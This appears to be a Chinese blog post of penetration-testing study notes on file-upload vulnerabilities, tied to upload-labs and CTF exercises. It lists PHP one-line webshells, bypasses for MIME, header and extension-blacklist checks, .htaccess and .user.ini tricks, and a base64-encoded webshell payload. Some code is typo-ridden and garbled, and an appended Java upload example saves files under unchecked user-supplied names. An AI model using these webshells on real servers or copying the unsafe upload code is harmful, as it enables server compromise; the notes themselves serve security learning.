文件上传学习笔记

title: 文件上传学习笔记
date: 2021-5-22
tags: 渗透测试,文件上传,基础
categories:

渗透测试
文件上传
基础

文件上传学习笔记

2021/3/6 笔记

什么是一句话木马

一句话木马“服务端”(本地存储的脚本木马文件)
就是我们要用来将恶意代码上传到服务器的网站中执行权限
该语句触发后,接收入侵者通过客户端上传的数据,并完成相应的操作
好处:短小精悍、且功能强大
eval 意思是执行任意命令,将其当成php语言执行
<?php @eval($_GET[a]); ?>    加@是为了不在页面回显
<?php eval($_GET[a]); ?>
<?php eval($_POST[a]); ?>
<?php eval($_REQUEST[a]); ?>
<?php eval($_COOKIE[a]); ?>

一句话木马的变形

<?php assert($_POST[a]); ?>

连接工具

  • 中国蚁剑
  • 中国菜刀

文件检测手法

  • 客户端javascript校验(一般只校验后缀名)
  • 服务端校验
    • 文件头content-type字段校验(image/gif)(MIME类型)
    • 文件内容头校验(GIF89a)
    • 后缀名黑名单校验
    • 后缀名白名单校验
    • 自定义正侧校验
  • WAF设备校验(根据不同的WAF产品而定)
绕过
抓包,修改Content-Type:image/jpeg
文件头:伪造图片文件头(GIF89a)

客户端JavaScript校验

前端JS校验,可以直接绕过
  • 禁用JS
  • 删除οnsubmit="return chekFile()"
  • upload-labs Pass-01
    

文件头content-type校验

  • 直接上传木马图片,之后修改文件名为php可解析的后缀
  • 上传php文件,BP 抓包手动修改Content-type
  • upload-labs Pass-02
    

文件内容头校验

  • 手动伪造图片文件头,例如GIF89a
  • 在图片中插入PHP代码
  • upload-labs Pass-13
    

黑名单

<?php 
//实际情况中黑名单内数据会更多更全
$blacklist = array('php','asp','aspx','jsp');
$path = "./uploads";
$type = array_pop(explode('.',$_FILED['myfile']['name']));

if (in_array(strtolower($type),$blacklist)){
    die("File type errer!<br>");
}else{
    $file = $path.'/'.$_FILES['myfile']['name'];
    if(nove_uploaded_file($FILES['myfile']['tmp_name'],$file)){
        echo 'Success!<br>';
    }else{
        echo 'Error!<br>';
    }
}
?>

黑名单,尝试各种特殊文件名(php、Php、PHP、pht、php5、phtnl、shtml),或者在扩展名后添加空格、:: D A T A 、 . , DATA、., DATA.,,/…,等字符,子啊或者尝试上传‘.htaccess’

防御手段

随机文件名+白名单后缀

PHP:
php2	php3	PHP5	phtml	pht(是否解析需要根据配置文件中的设置类型来决定)
ASP:
asa	cer	cdx
ASPX:
ascx	ashx	asac
JSP:
jsp	jspx	jspf
绕过方法
php3	php4	php5
分别是php3版本	php4版本	php5版本的PHP文件,且向下兼容
upload-labs Pass-03
phtmlphtml是PHP2程序的标准文件扩展名upload-labs Pass-03
::$DATA(windows)上传文件为xxx.php::$DATA类型的文件。可以看到上传的文件为xxx.php::$data 。
大小写绕过.Php	.PHtmlupload-labs Pass-05

https://www.freebuf.com/column/143101.html

内容检测

  • 几种标签语法
    <??><?php<?=?><%<script lanague='php'>
    
    短标签
    两种短语标签必须在php5.4.0之后
    其中短语标签<? ?>需要在php.ini中开启配置short_open_tag才能使用
    <?= 等价于 <? echo 不用开启短标签
    <?= 'whoami'?><?= 'ls'?>
    
7.0.0	The ASP tags <%, %>, <%=, and the script tag <script language="php"> are ermoved from  php5.4.0	The tag <?= is always available regardless of the short_open_tag ini setting.

其中ASP标签<% %>需要将asp_tags设成On

通过php小于7.0的可以通过绕过

<srcipt language='php'>phpinfo();</srcipt>
当<? 被绕过时,可以尝试用<srcipt lanague='php'>绕过条件:PHP版本小于7.0BUU[极客大挑战2019]upload
PHP被过滤时,尝试用短标签<?        ?>绕过条件:PHP版本>5.4且php.ini中开启配置short_open_tag=1交出你的猫猫图
过滤GET POST,尝试用eval($_REQUEST[a]);绕过
过滤eval,尝试用assert($_GET[a]);绕过

.htaccess

//.htaccessaddtype application/x-httpd-php .jpg

上传.htaccess把.jpg当作PHP解析,只需要上传带shell的.jpg文件即可

//shell.jpg<script language='php'></script>

过滤文件内容

/.htaccessaddtype application/x-httpd-php .wuwuphp_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
base64.b64encode(b"<?php eval($_GET['c']);?>")
php_value auto_append_file  会给PHP文件附加后面的内容将shell的内容上传至shell.wuwuhtaccess上传至.htaccess然后访问shell.wuwu即可/只能执行命令 不能连接shell
  • 上传cgi脚本
  • Options +ExecCGIAddHandler cgi-script  .xx
    
  • cgi脚本最好在Linux下编写,保存为3.xx
  • #!/bin/bashecho "Content_type:text/plain"echo ""cat /flagexit 0
    

    cig参考文档: https://www.freebuf.com/vuls218495.html

    没有过滤.htaccess的黑名单时,考虑上传.htaccess文件使得jpg文件解析为PHPupload-labs Pass-04
    
    当webshell中的字符全部被过滤的时候,考虑用.htaccess文件进行base64编码后上传
    
    如果可以上传.cgi文件和.htaccess文件,可以考虑上传cgi脚本https://unctf.hackingfor.fun/#/train    easy_upload
    

.user.ini

.user.ini用于nginx/apache/IIS中

#利用条件服务器脚本语言为PHP服务器使用CGI/Fast CGI模式上传目录下要有可以执行的PHP文件
.user.ini实际上就是一个可以由用户“自定义”的PHP.ini
*PHP_INI_模式的定义
模式含义
PHP_INI_USER可以在用户脚本(例如ini_set())或Windows注册表(自PHP5.3起)以及.user.ini中设定
PHP_INI_PERDIR可在php.ini、.htaccess或httpd.conf中设定
PHP_INI_SYSTEM可在php.ini或http.conf中设定
PHP_INI_ALL可在任何地方设定
auto_append_fileNULLPHP_INI_PERDIR在PHP <= 4.2.3时是PHP_INI_ALL
auto_detect_line_endings"0"PHP_INI_ALL从PHP4.3.0起可用
auto_globals_jit"1"PHP_INI_PERDIR从PHP5.0.0起可用
auto_prepend_fileNULLPHP_INI_PERDIR在PHP <= 4.2.3时是PHP_INI_ALL
auto_prepend_file string
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。使用方法很简单,直接写在user.ini中:
\x00\x00\x8a\x39\x8a\x39auto_perpend_file = cc.jpg
当不允许上传.htaccess服务器为nginx时,且为黑名单校验。请考虑上传.user.ini条件:服务器 
仍在更新中… 敬请期待…
文件上传是Web开发中常见的功能之一,Java中也提供了多种方式来实现文件上传。其中,一种常用的方式是通过Apache的commons-fileupload组件来实现文件上传。 以下是实现文件上传的步骤: 1.在pom.xml文件中添加以下依赖: ```xml <dependency> <groupId>commons-fileupload</groupId> <artifactId>commons-fileupload</artifactId> <version>1.3.3</version> </dependency> ``` 2.在前端页面中添加文件上传表单: ```html <form method="post" enctype="multipart/form-data" action="upload"> <input type="file" name="file"> <input type="submit" value="Upload"> </form> ``` 3.在后台Java代码中处理上传文件: ```java // 创建一个DiskFileItemFactory对象,用于解析上传的文件 DiskFileItemFactory factory = new DiskFileItemFactory(); // 设置缓冲区大小,如果上传的文件大于缓冲区大小,则先将文件保存到临时文件中,再进行处理 factory.setSizeThreshold(1024 * 1024); // 创建一个ServletFileUpload对象,用于解析上传的文件 ServletFileUpload upload = new ServletFileUpload(factory); // 设置上传文件的大小限制,这里设置为10MB upload.setFileSizeMax(10 * 1024 * 1024); // 解析上传的文件,得到一个FileItem的List集合 List<FileItem> items = upload.parseRequest(request); // 遍历FileItem的List集合,处理上传的文件 for (FileItem item : items) { // 判断当前FileItem是否为上传的文件 if (!item.isFormField()) { // 获取上传文件的文件名 String fileName = item.getName(); // 创建一个File对象,用于保存上传的文件 File file = new File("D:/uploads/" + fileName); // 将上传的文件保存到指定的目录中 item.write(file); } } ``` 以上代码中,首先创建了一个DiskFileItemFactory对象,用于解析上传的文件。然后设置了缓冲区大小和上传文件的大小限制。接着创建一个ServletFileUpload对象,用于解析上传的文件。最后遍历FileItem的List集合,判断当前FileItem是否为上传的文件,如果是,则获取文件名,创建一个File对象,将上传的文件保存到指定的目录中。 4.文件上传完成后,可以给用户一个提示信息,例如: ```java response.getWriter().write("File uploaded successfully!"); ``` 以上就是使用Apache的commons-fileupload组件实现文件上传的步骤。需要注意的是,文件上传可能会带来安全隐患,因此在处理上传的文件时,需要进行严格的校验和过滤
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值